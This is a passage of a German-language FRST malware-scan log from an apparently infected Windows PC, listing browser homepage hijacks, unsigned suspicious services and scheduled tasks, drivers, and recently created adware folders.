BHO-x32: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\jp2ssv.dll [2017-02-13] (Oracle Corporation)
Toolbar: HKLM - Canon Easy-WebPrint EX - {759D9886-0C6F-4498-BAB6-4A5F47C6C72F} - C:\Program Files\Canon\Easy-WebPrint EX\ewpexhlp.dll [2016-02-23] (CANON INC.)
Toolbar: HKLM-x32 - Canon Easy-WebPrint EX - {759D9886-0C6F-4498-BAB6-4A5F47C6C72F} - C:\Program Files (x86)\Canon\Easy-WebPrint EX\ewpexhlp.dll [2016-02-23] (CANON INC.)
DPF: HKLM-x32 {166B1BCA-3F9C-11CF-8075-444553540000} hxxps://fpdownload.macromedia.com/pub/shockwave/cabs/director/sw.cab
DPF: HKLM-x32 {233C1507-6A77-46A4-9443-F871F945D258} hxxps://fpdownload.macromedia.com/pub/shockwave/cabs/director/sw.cab

FireFox:
========
FF ProfilePath: C:\Users\Nick Schuster\AppData\Roaming\Mozilla\Firefox\Profiles\ajsmomju.default
FF NewTab: hxxp://www.initialsite123.com/?z=f1b5038898decb600b47077g1z9tfqae8b9m2tfz7w&from=icb&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX&type=hp
FF DefaultSearchEngine: initialsite123
FF SelectedSearchEngine: initialsite123
FF Homepage: hxxp://www.ourluckysites.com/?type=hp&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX
FF Keyword.URL: user_pref("keyword.URL", true);
FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF64_25_0_0_171.dll [2017-05-09] ()
FF Plugin: @java.com/DTPlugin,version=11.121.2 -> C:\Program Files\Java\jre1.8.0_121\bin\dtplugin\npDeployJava1.dll [2017-02-13] (Oracle Corporation)
FF Plugin: @java.com/JavaPlugin,version=11.121.2 -> C:\Program Files\Java\jre1.8.0_121\bin\plugin2\npjp2.dll [2017-02-13] (Oracle Corporation)
FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files\Microsoft Silverlight\5.1.50906.0\npctrl.dll [2017-03-09] ( Microsoft Corporation)
FF Plugin: @videolan.org/vlc,version=2.2.4 -> C:\Program Files\VideoLAN\VLC\npvlc.dll [2016-06-01] (VideoLAN)
FF Plugin: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\CCM\Utilities\npAdobeAAMDetect64.dll [Keine Datei]
FF Plugin-x32: @adobe.com/FlashPlayer -> C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_25_0_0_171.dll [2017-05-09] ()
FF Plugin-x32: @java.com/DTPlugin,version=11.121.2 -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\dtplugin\npDeployJava1.dll [2017-02-13] (Oracle Corporation)
FF Plugin-x32: @java.com/JavaPlugin,version=11.121.2 -> C:\Program Files (x86)\Java\jre1.8.0_121\bin\plugin2\npjp2.dll [2017-02-13] (Oracle Corporation)
FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files (x86)\Microsoft Silverlight\5.1.50906.0\npctrl.dll [2017-03-09] ( Microsoft Corporation)
FF Plugin-x32: @microsoft.com/WLPG,version=16.4.3528.0331 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll [2014-03-31] (Microsoft Corporation)
FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-04-28] (Google Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-04-28] (Google Inc.)
FF Plugin-x32: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\CCM\Utilities\npAdobeAAMDetect32.dll [Keine Datei]
FF Plugin HKU\S-1-5-21-3847841184-804715454-2304624315-1001: ubisoft.com/uplaypc -> C:\Program Files (x86)\Ubisoft\Ubisoft Game Launcher\npuplaypc.dll [Keine Datei]
FF SearchPlugin: C:\Users\Nick Schuster\AppData\Roaming\Mozilla\Firefox\Profiles\ajsmomju.default\searchplugins\ourluckysites.xml [2017-05-31]
StartMenuInternet: FIREFOX.EXE - C:\Program Files\Mozilla Firefox\firefox.exe hxxp://www.ourluckysites.com/?type=sc&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX

Chrome:
=======
CHR HKLM\...\Chrome\Extension: [nahhmpbckpgdidfnmfkfgiflpjijilce] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [pilplloabdedfmialnfchjomjmpjcoej] - hxxps://clients2.google.com/service/update2/crx
CHR HKU\S-1-5-21-3847841184-804715454-2304624315-1001\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [nahhmpbckpgdidfnmfkfgiflpjijilce] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [bpegkgagfojjbcpkihigfmkojdmmimdf] - <kein Path/update_url>
CHR HKLM-x32\...\Chrome\Extension: [ehgldbbpchgpcfagfpfjgoomddhccfgh] - <kein Path/update_url>
CHR HKLM-x32\...\Chrome\Extension: [nahhmpbckpgdidfnmfkfgiflpjijilce] - hxxps://clients2.google.com/service/update2/crx
StartMenuInternet: Google Chrome - C:\Program Files (x86)\Google\Chrome\Application\chrome.exe hxxp://www.ourluckysites.com/?type=sc&ts=1496220549&z=f72a668514478351723213eg2zet8qfo9ode2w5zae&from=che0812&uid=HGSTXHTS721010A9E630_JR10206P1V048M1V048MX

==================== Dienste (Nicht auf der Ausnahmeliste) ========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

R2 AGSService; C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe [2246256 2017-05-18] (Adobe Systems, Incorporated)
S4 AppleAppSvc; C:\ProgramData\Apple\Temp\upgrade.ini [84 2017-05-31] () [Datei ist nicht signiert]
S4 AppleCloudSvc; C:\ProgramData\Apple\Common\Cloud\WinHelper.dll [108544 2017-04-26] () [Datei ist nicht signiert]
R2 BIT; C:\ProgramData\BIT\BIT.dll [1812992 2017-06-01] (TODO: <公司名>) [Datei ist nicht signiert]
S4 DbxSvc; C:\Windows\system32\DbxSvc.exe [42096 2016-12-21] (Dropbox, Inc.)
R2 FirefoxU; C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe [101528 2017-05-31] ()
R2 igfxCUIService2.0.0.0; C:\Windows\system32\igfxCUIService.exe [365048 2016-10-07] (Intel Corporation)
R2 IJPLMSVC; C:\Program Files (x86)\Canon\IJPLM\IJPLMSVC.EXE [387144 2016-02-04] ()
S2 MCSvc; C:\Windows\System32\svchost.exe [38792 2014-11-21] (Microsoft Corporation)
S2 MCSvc; C:\Windows\SysWOW64\svchost.exe [33088 2014-11-21] (Microsoft Corporation)
R2 MVCSrv; C:\ProgramData\Package Cache\{2A002F88-FD5D-379B-A350-A25D84AF128B}v14.0.25420\packages\VisualC_D14\VC_IDE.Base\VC_IDE_Base.dll [105984 2017-03-28] () [Datei ist nicht signiert]
S4 pgt_svc; C:\Program Files (x86)\ProxyGate\MainService.exe [2285664 2017-02-22] (Gold Click Ltd)
S2 SpyHunter 4 Service; C:\Program Files\Enigma Software Group\SpyHunter\SH4Service.exe [665768 2016-11-16] (Enigma Software Group USA, LLC.)
S4 srcsrv; C:\Windows\src_srv\winsrcsrv.exe [17920 2017-05-29] () [Datei ist nicht signiert]
R2 ss_conn_service; C:\Program Files (x86)\Samsung\USB Drivers\27_ssconn\conn\ss_conn_service.exe [754784 2016-07-22] (DEVGURU Co., LTD.)
S4 SysLinkMapper; C:\ProgramData\F5C6DBD2-9E35-457F-B662-CF7D478FD412\winnetsvces.exe [9216 2017-04-18] () [Datei ist nicht signiert]
R2 TeamViewer; C:\Program Files (x86)\TeamViewer\TeamViewer_Service.exe [10888944 2017-04-25] (TeamViewer GmbH)
S3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [361824 2017-01-12] (Microsoft Corporation)
S3 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [119872 2017-01-12] (Microsoft Corporation)
R2 WinSAPSvc; C:\Users\Nick Schuster\AppData\Roaming\WinSAPSvc\WinSAP.dll [1886720 2017-06-01] () [Datei ist nicht signiert]
S2 ZbezjService; C:\Windows\SysWOW64\srvany.exe [8192 2003-04-18] () [Datei ist nicht signiert]
S2 3DM; C:\Users\Nick Schuster\AppData\Local\3DM\Kitty.dll [X]
S4 KingoSoftService; C:\Users\Nick Schuster\AppData\Local\Kingosoft\Kingo Root\update_27205\bin\KingoSoftService.exe "C:\Users\Nick Schuster\AppData\Local\Kingosoft\Kingo Root\update_27205\bin\checkupdate.exe"
S4 Kitty; C:\Users\Nick Schuster\AppData\Local\Kitty\Kitty.dll [X]
S2 kivojebi; C:\Program Files (x86)\0D8F6370-1479488272-81E4-3884-0071C2420BD3\kns20F0.tmp [X]
S4 Recover; C:\Program Files\Uninstall Information\FHND4RB6YGFG69477PK1CJU4XT48RPI\Odgt'YA#3N.exe [X]

===================== Treiber (Nicht auf der Ausnahmeliste) ==========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

S3 BthA2DP; C:\Windows\system32\drivers\BthA2DP.sys [132608 2015-01-30] (Microsoft Corporation)
S3 BthHFAud; C:\Windows\system32\DRIVERS\BthHfAud.sys [32768 2014-11-21] (Microsoft Corporation)
S3 DFX11_1; C:\Windows\system32\drivers\dfx11_1x64.sys [28008 2015-08-31] (Windows (R) Win 7 DDK provider)
S3 DFX12; C:\Windows\system32\drivers\dfx12x64.sys [29688 2015-11-12] (Windows (R) Win 7 DDK provider)
S3 dg_ssudbus; C:\Windows\system32\DRIVERS\ssudbus.sys [131984 2017-05-18] (Samsung Electronics Co., Ltd.)
S3 dtlitescsibus; C:\Windows\System32\drivers\dtlitescsibus.sys [30264 2017-05-07] (Disc Soft Ltd)
S3 dtliteusbbus; C:\Windows\System32\drivers\dtliteusbbus.sys [47672 2017-05-07] (Disc Soft Ltd)
S3 dtproscsibus; C:\Windows\System32\drivers\dtproscsibus.sys [30264 2017-05-25] (Disc Soft Ltd)
S0 ebdrv; C:\Windows\System32\drivers\evbda.sys [3357024 2013-08-22] (Broadcom Corporation)
S3 esgiguard; C:\Program Files\Enigma Software Group\SpyHunter\esgiguard.sys [16432 2016-11-16] (Enigma Software Group USA, LLC.)
S3 EsgScanner; C:\Windows\System32\DRIVERS\EsgScanner.sys [22704 2016-11-23] ()
R3 iaLPSS_GPIO; C:\Windows\System32\drivers\iaLPSS_GPIO.sys [35832 2014-06-03] (Intel Corporation)
R3 MEIx64; C:\Windows\System32\drivers\TeeDriverW8x64.sys [204920 2016-12-02] (Intel Corporation)
R3 NETwNb64; C:\Windows\system32\DRIVERS\NETwbw02.sys [3526400 2017-03-09] (Intel Corporation)
S3 RTSUER; C:\Windows\system32\Drivers\RtsUer.sys [425216 2016-05-25] (Realsil Semiconductor Corporation)
R0 sptd; C:\Windows\System32\Drivers\sptd.sys [394296 2017-05-07] (Duplex Secure Ltd.)
S3 ssudmdm; C:\Windows\system32\DRIVERS\ssudmdm.sys [166288 2017-05-18] (Samsung Electronics Co., Ltd.)
S3 USBAAPL64; C:\Windows\System32\Drivers\usbaapl64.sys [51712 2011-02-18] (Apple, Inc.) [Datei ist nicht signiert]
S3 WdBoot; C:\Windows\system32\drivers\WdBoot.sys [46600 2017-02-10] (Microsoft Corporation)
R0 WdFilter; C:\Windows\System32\drivers\WdFilter.sys [274776 2017-01-12] (Microsoft Corporation)
R2 WdNisDrv; C:\Windows\System32\Drivers\WdNisDrv.sys [117592 2017-01-12] (Microsoft Corporation)
S3 dbx; system32\DRIVERS\dbx.sys [X]
S1 iSafeKrnlMon; \??\C:\Program Files (x86)\Elex-tech\YAC\iSafeKrnlMon.sys [X]

==================== NetSvcs (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)


==================== Ein Monat: Erstellte Dateien und Ordner ========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2017-06-03 14:01 - 2017-06-03 14:01 - 00000000 ____D C:\FRST
2017-06-02 18:05 - 2017-06-02 18:05 - 00004044 _____ C:\Windows\System32\Tasks\{25FE2E5B-9255-99F0-1368-8A42E54326C9}
2017-06-02 18:05 - 2017-06-02 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-6921-1
2017-06-02 18:05 - 2017-06-02 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-2583-0
2017-06-02 18:05 - 2017-06-02 18:05 - 00000000 ____D C:\ProgramData\{279BD4C5-9030-636E-34A5-319E03364EE3}
2017-06-01 19:22 - 2017-06-01 19:22 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Applemy
2017-06-01 18:05 - 2017-06-01 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-7817-0
2017-06-01 18:05 - 2017-06-01 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-3a25-1
2017-06-01 12:05 - 2017-06-01 12:05 - 00000000 ____D C:\ProgramData\f9d60eee-0b25-1
2017-06-01 12:05 - 2017-06-01 12:05 - 00000000 ____D C:\ProgramData\f9d60eee-07f7-0
2017-06-01 12:00 - 2017-06-01 12:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\glory
2017-06-01 00:19 - 2017-06-01 00:19 - 00001996 _____ C:\Windows\System32\Tasks\fyKiuMkkXh
2017-06-01 00:14 - 2017-06-01 00:19 - 00000002 _____ C:\END
2017-05-31 18:05 - 2017-05-31 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-7411-1
2017-05-31 18:05 - 2017-05-31 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-49f5-0
2017-05-31 13:53 - 2017-05-31 13:53 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Applemy
2017-05-31 13:52 - 2017-05-31 13:52 - 00000000 ____D C:\Users\Public\Documents\Google
2017-05-31 13:52 - 2017-05-31 13:52 - 00000000 ____D C:\Program Files (x86)\Firefox
2017-05-31 13:46 - 2017-05-31 13:48 - 00000000 ____D C:\Program Files (x86)\Applemy
2017-05-31 12:18 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\{5dc62cb3-512c-0}
2017-05-31 12:18 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\{241B54D7-93B0-E37C-7209-B5C3B4A67434}
2017-05-31 12:18 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\{1fc205d4-012c-1}
2017-05-31 12:05 - 2017-05-31 12:05 - 00023496 _____ C:\Windows\System32\Tasks\{0B047F47-0F0A-0408-0B11-087F0C0B110F}
2017-05-31 11:38 - 2017-05-31 11:38 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Obsidium
2017-05-31 11:36 - 2017-05-31 11:36 - 00000000 ____D C:\ProgramData\F5C6DBD2-9E35-457F-B662-CF7D478FD412
2017-05-31 11:22 - 2017-05-31 11:22 - 00023032 _____ (Wiper Software) C:\Windows\system32\wiperrm.exe
2017-05-31 11:22 - 2017-05-31 11:22 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\WiperSoft
2017-05-31 11:22 - 2017-05-31 11:22 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\WiperSoft
2017-05-30 19:49 - 2017-05-30 19:51 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\{12A8CCFE-3C33-4995-BAD8-074E4C5B22FD}
2017-05-30 19:32 - 2017-05-31 13:53 - 00002326 _____ C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk
2017-05-30 19:32 - 2017-05-30 19:32 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Google
2017-05-30 19:23 - 2017-05-31 13:53 - 00002020 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk
2017-05-30 19:23 - 2017-05-30 19:23 - 00000000 ____D C:\Program Files\Mozilla Firefox
2017-05-30 13:59 - 2017-05-30 13:59 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Minerent
2017-05-30 13:58 - 2017-06-01 12:00 - 00000000 ____D C:\Program Files (x86)\Arucerther_
2017-05-30 13:58 - 2017-05-30 13:58 - 00000000 ____D C:\Users\Default\AppData\Local\AdvinstAnalytics
2017-05-30 13:58 - 2017-05-30 13:58 - 00000000 ____D C:\Users\Default User\AppData\Local\AdvinstAnalytics
2017-05-30 13:56 - 2017-05-30 16:14 - 00000000 ____D C:\Users\Default\AppData\Roaming\Minerent
2017-05-30 13:56 - 2017-05-30 16:14 - 00000000 ____D C:\Users\Default User\AppData\Roaming\Minerent
2017-05-30 13:56 - 2017-05-30 16:14 - 00000000 ____D C:\Program Files (x86)\Arucerther
2017-05-30 13:56 - 2017-05-30 13:56 - 00006006 _____ C:\Windows\System32\Tasks\Coobeck Monitor
2017-05-30 13:56 - 2017-05-30 13:56 - 00000000 ____D C:\Users\Default\AppData\Local\Cerzaentfisuge
2017-05-30 13:56 - 2017-05-30 13:56 - 00000000 ____D C:\Users\Default User\AppData\Local\Cerzaentfisuge
2017-05-30 13:55 - 2017-05-30 13:55 - 00000000 ____D C:\ProgramData\e9cf343f516c47a4a7255147ad1dcd13
2017-05-30 13:55 - 2017-05-30 13:55 - 00000000 ____D C:\ProgramData\ddef39d292cf4b8ea43c256f14555ff3
2017-05-29 22:02 - 2017-05-29 22:02 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\FBTime
2017-05-29 22:01 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\943973b1-7343-1
2017-05-29 22:01 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\943973b1-6925-0
2017-05-29 22:01 - 2017-05-29 22:01 - 00003034 _____ C:\Windows\System32\Tasks\ttwifi
2017-05-29 22:00 - 2017-05-29 22:02 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\AppTrailers
2017-05-29 22:00 - 2017-05-29 22:01 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\gplyra
2017-05-29 22:00 - 2017-05-29 22:01 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\gjtj1a4xugf
2017-05-29 22:00 - 2017-05-29 22:00 - 00016764 _____ C:\Windows\System32\Tasks\Quick Tharks Screen Saver
2017-05-29 22:00 - 2017-05-29 22:00 - 00003686 _____ C:\Windows\System32\Tasks\SoftUpgrade
2017-05-29 22:00 - 2017-05-29 22:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\devnull
2017-05-29 22:00 - 2017-05-29 22:00 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\AdvinstAnalytics
2017-05-29 22:00 - 2017-05-29 22:00 - 00000000 ____D C:\Program Files (x86)\SoftUpgrade
2017-05-29 21:59 - 2017-06-02 15:32 - 00003020 _____ C:\Windows\System32\Tasks\RunAtStartup
2017-05-29 21:59 - 2017-06-01 11:54 - 00000231 _____ C:\ServiceLog.txt
2017-05-29 21:59 - 2017-05-29 22:03 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Grerdaentlerveck
2017-05-29 21:59 - 2017-05-29 22:01 - 00000000 ____D C:\Windows\src_srv
2017-05-29 21:59 - 2017-05-29 22:01 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\yxuuo1zrzz4
2017-05-29 21:59 - 2017-05-29 22:00 - 00000000 ____D C:\Program Files (x86)\ProxyGate
2017-05-29 21:59 - 2017-05-29 21:59 - 00006038 _____ C:\Windows\System32\Tasks\Gerfety Renew
2017-05-29 21:59 - 2017-05-29 21:59 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\s0ac4g0fkg0
2017-05-29 21:59 - 2017-05-29 21:59 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Draveingplererward
2017-05-29 21:59 - 2017-05-29 21:59 - 00000000 ____D C:\ProgramData\VideoMemoryDiagnostic
2017-05-29 21:59 - 2017-05-29 21:59 - 00000000 ____D C:\Program Files (x86)\Prfasaretaly
2017-05-29 21:59 - 2017-05-29 21:59 - 00000000 ____D C:\Program Files (x86)\pccleanplus
2017-05-26 21:30 - 2017-05-26 21:30 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\Babylon
2017-05-26 21:30 - 2017-05-26 21:30 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\Babylon
2017-05-26 21:30 - 2017-05-26 21:30 - 00000000 ____D C:\ProgramData\Babylon
2017-05-26 18:05 - 2017-05-26 18:05 - 00000000 ____D C:\ProgramData\Electronic Arts
2017-05-26 17:40 - 2017-05-26 17:40 - 00000295 _____ C:\Users\Nick Schuster\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Papierkorb.lnk
2017-05-26 09:40 - 2017-05-31 13:45 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\terana
2017-05-25 15:34 - 2017-05-25 15:36 - 00000000 ____D C:\Users\Nick Schuster\AppData\Roaming\DAEMON Tools Pro
2017-05-25 15:34 - 2017-05-25 15:34 - 00030264 _____ (Disc Soft Ltd) C:\Windows\system32\Drivers\dtproscsibus.sys
2017-05-25 15:33 - 2017-05-25 15:33 - 00000000 ____D C:\ProgramData\DAEMON Tools Pro
2017-05-23 15:44 - 2017-04-27 15:11 - 00678592 _____ (Microsoft Corporation) C:\Windows\system32\msvcp120_clr0400.dll
2017-05-23 15:44 - 2017-04-27 15:10 - 00536768 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msvcp120_clr0400.dll
2017-05-23 15:43 - 2017-04-27 15:11 - 00869568 _____ (Microsoft Corporation) C:\Windows\system32\msvcr120_clr0400.dll
2017-05-23 15:43 - 2017-04-27 15:10 - 00875712 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msvcr120_clr0400.dll
2017-05-23 15:42 - 2017-04-06 19:37 - 00445440 _____ (Microsoft Corporation) C:\Windows\system32\certcli.dll
2017-05-23 15:42 - 2017-04-06 19:16 - 00615936 _____ (Microsoft Corporation) C:\Windows\system32\wpd_ci.dll
2017-05-23 15:42 - 2017-04-06 18:50 - 01436672 _____ (Microsoft Corporation) C:\Windows\system32\lsasrv.dll
2017-05-23 15:42 - 2017-04-06 18:46 - 00434688 _____ (Microsoft Corporation) C:\Windows\system32\schannel.dll
2017-05-23 15:42 - 2017-04-06 18:46 - 00324096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\certcli.dll
2017-05-23 15:42 - 2017-04-06 18:35 - 01362432 _____ (Microsoft Corporation) C:\Windows\system32\gpsvc.dll
2017-05-23 15:42 - 2017-04-06 18:15 - 00358912 _____ (Microsoft Corporation) C:\Windows\SysWOW64\schannel.dll
2017-05-23 15:42 - 2017-04-06 17:44 - 00087040 _____ (Microsoft Corporation) C:\Windows\system32\wpdbusenum.dll
2017-05-23 15:42 - 2017-04-02 16:49 - 00186880 _____ (Microsoft Corporation) C:\Windows\system32\dpapisrv.dll
2017-05-23 15:42 - 2017-04-02 15:40 - 02013016 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\ntfs.sys
2017-05-22 21:24 - 2017-05-22 21:24 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Skype
2017-05-18 22:17 - 2017-05-18 22:17 - 01499368 _____ (Microsoft Corporation) C:\Windows\system32\WdfCoInstaller01007.dll
2017-05-18 22:17 - 2017-05-18 22:17 - 00716880 _____ (Microsoft Corporation) C:\Windows\system32\WinUSBCoInstaller.dll
2017-05-18 22:17 - 2017-05-18 22:17 - 00166288 _____ (Samsung Electronics Co., Ltd.) C:\Windows\system32\Drivers\ssudmdm.sys
2017-05-18 22:17 - 2017-05-18 22:17 - 00131984 _____ (Samsung Electronics Co., Ltd.) C:\Windows\system32\Drivers\ssudbus.sys
2017-05-18 17:00 - 2017-05-22 17:09 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\CSHMDR
2017-05-15 16:30 - 2017-05-17 14:09 - 00000000 ____D C:\Users\Nick Schuster\AppData\Local\CWASRE
2017-05-15 00:05 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\f9d60eee-68a5-1
2017-05-15 00:05 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\f9d60eee-5f71-0
2017-05-14 16:16 - 2017-05-23 15:34 - 00000000 _____ C:\Windows\SysWOW64\1
2017-05-14 12:05 - 2017-05-14 12:05 - 00000000 ____D C:\ProgramData\f9d60eee-4cc1-0
2017-05-14 12:05 - 2017-05-14 12:05 - 00000000 ____D C:\ProgramData\f9d60eee-4593-1
2017-05-13 20:17 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\{1aa64fd2-712c-1}
2017-05-13 20:17 - 2017-05-31 12:18 - 00000000 ____D C:\ProgramData\{02a407e1-212c-0}
2017-05-12 18:05 - 2017-05-12 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-5ad5-1
2017-05-12 18:05 - 2017-05-12 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-3ae5-0
2017-05-11 18:05 - 2017-05-11 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-6671-0
2017-05-11 18:05 - 2017-05-11 18:05 - 00000000 ____D C:\ProgramData\f9d60eee-6115-1
2017-05-11 15:23 - 2017-05-11 15:23 - 00000000 _____ C:\Windows\SysWOW64\3333333
2017-05-11 15:22 - 2017-05-11 15:22 - 00000000 _____ C:\Windows\SysWOW64\1111
2017-05-11 15:22 - 2017-05-11 15:22 - 00000000 _____ C:\Windows\SysWOW64\00
2017-05-11 14:18 - 2017-04-28 23:15 - 07444824 _____ (Microsoft Corporation) C:\Windows\system32\ntoskrnl.exe
2017-05-11 14:18 - 2017-04-26 16:06 - 04169216 _____ (Microsoft Corporation) C:\Windows\system32\win32k.sys
2017-05-11 14:18 - 2017-04-16 12:23 - 02176584 _____ (Microsoft Corporation) C:\Windows\system32\combase.dll
2017-05-11 14:18 - 2017-04-16 12:23 - 01662096 _____ (Microsoft Corporation) C:\Windows\system32\ole32.dll
2017-05-11 14:18 - 2017-04-16 12:23 - 01063464 _____ (Microsoft Corporation) C:\Windows\system32\WinTypes.dll
2017-05-11 14:18 - 2017-04-16 12:18 - 01135288 _____ (Microsoft Corporation) C:\Windows\system32\KernelBase.dll
2017-05-11 14:18 - 2017-04-16 12:18 - 00803192 _____ (Microsoft Corporation) C:\Windows\system32\oleaut32.dll
2017-05-11 14:18 - 2017-04-16 11:07 - 01566032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\combase.dll
2017-05-11 14:18 - 2017-04-16 11:07 - 01213792 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ole32.dll
2017-05-11 14:18 - 2017-04-16 11:07 - 00548032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WinTypes.dll
2017-05-11 14:18 - 2017-04-16 11:05 - 00612096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\oleaut32.dll
2017-05-11 14:18 - 2017-04-16 10:54 - 00576512 _____ (Microsoft Corporation) C:\Windows\system32\vbscript.dll
2017-05-11 14:18 - 2017-04-16 10:54 - 00088064 _____ (Microsoft Corporation) C:\Windows\system32\MshtmlDac.dll
2017-05-11 14:18 - 2017-04-16 10:51 - 02899456 _____ (Microsoft Corporation) C:\Windows\system32\iertutil.dll
2017-05-11 14:18 - 2017-04-16 10:37 - 00116224 _____ (Microsoft Corporation) C:\Windows\system32\ieetwcollector.exe
2017-05-11 14:18 - 2017-04-16 10:36 - 00817664 _____ (Microsoft Corporation) C:\Windows\system32\jscript.dll
2017-05-11 14:18 - 2017-04-16 10:35 - 25741312 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.dll
2017-05-11 14:18 - 2017-04-16 10:18 - 05977600 _____ (Microsoft Corporation) C:\Windows\system32\jscript9.dll
2017-05-11 14:18 - 2017-04-16 10:16 - 00862720 _____ (Microsoft Corporation) C:\Windows\SysWOW64\KernelBase.dll
2017-05-11 14:18 - 2017-04-16 10:10 - 00087552 _____ (Microsoft Corporation) C:\Windows\system32\tdc.ocx
2017-05-11 14:18 - 2017-04-16 10:03 - 00092160 _____ (Microsoft Corporation) C:\Windows\system32\mshtmled.dll
2017-05-11 14:18 - 2017-04-16 10:02 - 00145408 _____ (Microsoft Corporation) C:\Windows\system32\iepeers.dll
2017-05-11 14:18 - 2017-04-16 10:01 - 00499200 _____ (Microsoft Corporation) C:\Windows\SysWOW64\vbscript.dll
2017-05-11 14:18 - 2017-04-16 10:00 - 00315392 _____ (Microsoft Corporation) C:\Windows\system32\dxtrans.dll
2017-05-11 14:18 - 2017-04-16 10:00 - 00064000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MshtmlDac.dll
2017-05-11 14:18 - 2017-04-16 09:53 - 02290176 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iertutil.dll
2017-05-11 14:18 - 2017-04-16 09:52 - 01033216 _____ (Microsoft Corporation) C:\Windows\system32\inetcomm.dll
2017-05-11 14:18 - 2017-04-16 09:49 - 20278272 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.dll
